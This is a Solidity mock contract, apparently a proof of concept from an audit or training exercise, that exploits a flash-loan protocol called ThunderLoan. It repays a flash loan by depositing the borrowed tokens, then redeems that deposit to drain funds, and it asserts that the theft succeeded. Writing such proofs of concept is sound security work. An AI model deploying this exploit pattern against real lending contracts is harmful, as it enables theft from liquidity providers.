|
// SPDX-License-Identifier: MIT |
|
pragma solidity 0.8.20; |
|
|
|
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; |
|
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; |
|
import {IFlashLoanReceiver, IThunderLoan} from "../../src/interfaces/IFlashLoanReceiver.sol"; |
|
|
|
contract MockFlashLoanReceiverAttacker { |
|
error MockFlashLoanReceiver__onlyOwner(); |
|
error MockFlashLoanReceiver__onlyThunderLoan(); |
|
|
|
using SafeERC20 for IERC20; |
|
|
|
address s_owner; |
|
address s_thunderLoan; |
|
|
|
uint256 s_balanceDuringFlashLoan; |
|
uint256 s_balanceAfterFlashLoan; |
|
uint public balanceAfterRedeem; |
|
|
|
constructor(address thunderLoan) { |
|
s_owner = msg.sender; |
|
s_thunderLoan = thunderLoan; |
|
s_balanceDuringFlashLoan = 0; |
|
} |
|
|
|
function executeOperation( |
|
address token, |
|
uint256 amount, |
|
uint256 fee, |
|
address initiator, |
|
bytes calldata /* params */ |
|
) external returns (bool) { |
|
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); |
|
|
|
if (msg.sender != s_thunderLoan) { |
|
revert MockFlashLoanReceiver__onlyThunderLoan(); |
|
} |
|
IERC20(token).approve(s_thunderLoan, amount + fee); |
|
|
|
// attacker deposit back into ThunderLoann as a repay |
|
IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); |
|
|
|
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); |
|
return true; |
|
} |
|
|
|
function _getRedeem(address token) internal { |
|
//attackers balance before redeem |
|
uint balanceBeforeReedeem = IERC20(token).balanceOf(address(this)); |
|
// attacker redeem the deposited funds during flashloan |
|
IThunderLoan(s_thunderLoan).redeem(IERC20(token), type(uint256).max); |
|
// attackers balance after redeem |
|
balanceAfterRedeem = IERC20(token).balanceOf(address(this)); |
|
require( |
|
s_balanceAfterFlashLoan < balanceAfterRedeem, |
|
"flashloan redeem not successful" |
|
); |
|
} |
|
|
|
//// call flashloan from the attacker contract |
|
function flashloanFromThunderBoat( |
|
address token, |
|
uint amountToBorrow |
|
) external { |
|
IThunderLoan(s_thunderLoan).flashloan( |
|
address(this), |
|
IERC20(token), |
|
amountToBorrow, |
|
"" |
|
); |
|
_getRedeem(token); |
|
} |
|
|
|
function getbalanceDuring() external view returns (uint256) { |
|
return s_balanceDuringFlashLoan; |
|
} |
|
|
|
function getBalanceAfter() external view returns (uint256) { |
|
return s_balanceAfterFlashLoan; |
|
} |
|
} |